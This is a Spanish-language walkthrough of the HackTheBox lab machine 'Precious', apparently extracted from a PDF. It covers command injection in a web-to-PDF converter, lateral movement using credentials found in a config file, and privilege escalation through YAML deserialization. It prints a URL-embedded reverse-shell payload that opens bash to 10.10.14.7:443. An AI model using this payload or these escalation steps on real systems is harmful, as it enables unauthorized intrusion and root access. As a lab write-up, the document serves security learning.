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1. Enumeración 
Realizamos un escaneo exhaustivo de los puertos abiertos, con sus correspondientes 

servicios y versiones asociados.  

 
 

Revisamos con whatweb las tecnologías usadas por la web que corre por el puerto TCP/80. 

 
 

Vemos que se intenta hacer una redirección a http://precious.htb. Modificamos nuestro 

fichero hosts, para que podamos resolver dicho dominio. 

 
 

Volvemos a ejecutar whatweb pero esta vez con el dominio que acabamos de incorporar al 

fichero hosts. 

 

 

https://dandyloco.github.io/
http://precious.htb/
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Abrimos la web en el navegador y revisamos con Wappalyzer, por si obtenemos más 

información sobre las tecnologías usadas. 

 
 

Realizando una revisión manual de la web, parece que permite convertir una página web en 

pdf. 

 
 

 

 

 

 

 

 

https://dandyloco.github.io/


 

 

https://dandyloco.github.io/   4    ©Dandy_loco 

 

2. Análisis de 
vulnerabilidades 

Revisamos el comportamiento de la web, con Burpsuite. Al intentar probar un ataque de 

inyección de comandos, vemos que conseguimos filtrar el software y versión usada para 

realizar la conversión a PDF. 

 

 
 

Buscamos con searchexploit, si dicha versión tiene alguna vulnerabilidad. 

 
 

 

 

 

 

 

 

 

 

 

¿Qué es PDFKit? 

PDFKit es una biblioteca JavaScript de código abierto muy útil para crear y 

administrar documentos PDF con un esfuerzo y costo mínimos. La API es fácil de 

manejar y admite funciones de bajo nivel, así como abstracciones para funciones de 

nivel superior. 

https://dandyloco.github.io/


 

 

https://dandyloco.github.io/   5    ©Dandy_loco 

 

3. Explotación 
Ahora que, con la vulnerabilidad encontrada, tenemos una forma potencial de ejecutar 

comandos, vamos a comprobar que realmente se acontece en nuestra máquina víctima. 

Vamos a intentar ejecutar un ping contra nuestra máquina atacante. 

 
 

Para evitar que entre en conflicto, codificaremos la petición. Nos pondremos en escucha 

con tcpdump primero, antes de enviar la petición. 
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Ahora que hemos comprobado, que podemos ejecutar comandos, vamos a intentar ganar 

acceso a la máquina víctima. Para ello, intentaremos enviar la siguiente petición 

http://%20`bash -c 'bash -i >& /dev/tcp/10.10.14.7/443 0>&1'` pero codificada. Antes, 

debemos ponernos con netcat en escucha con nuestra máquina de atacante por el puerto 

443. 

 
 

Ganamos acceso a la máquina víctima. 

 
 

 

4. Movimiento lateral 
Tras realizar un tratamiento de la TTY para tener una consola completamente interactiva, 

revisamos el contenido de nuestro directorio personal. En el fichero 

/home/ruby/.bundle/config, encontramos una posible credencial para el usuario Henry. 

https://dandyloco.github.io/
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Probamos dichas credenciales, y conseguimos convertirnos en Henry. 

 
 

 

5. Escalada de privilegios 
Comprobamos nuestros permisos de sudoers. Parece que podemos ejecutar como root el 

script /opt/update_dependencies.rb.  

 
 

No tenemos permisos de escritura sobre dicho script pero revisamos su contenido. Parece 

que el script, carga un fichero de forma relativa para comprobar la versión de las 

dependencias instaladas en el sistema y las que especifica el fichero dependencies.yml. 
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Encontramos una forma de aprovecharnos:  

• https://blog.stratumsecurity.com/2021/06/09/blind-remote-code-execution-

through-yaml-deserialization/ 

 

Lo probamos primero, intentando la ejecución del comando id. 

 

 
 

Ahora probamos el mismo concepto, pero intentando asignar permisos de SUID a la 

/bin/bash. 

https://dandyloco.github.io/
https://blog.stratumsecurity.com/2021/06/09/blind-remote-code-execution-through-yaml-deserialization/
https://blog.stratumsecurity.com/2021/06/09/blind-remote-code-execution-through-yaml-deserialization/
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Ahora solo tenemos que ejecutar la bash de forma privilegiada. 
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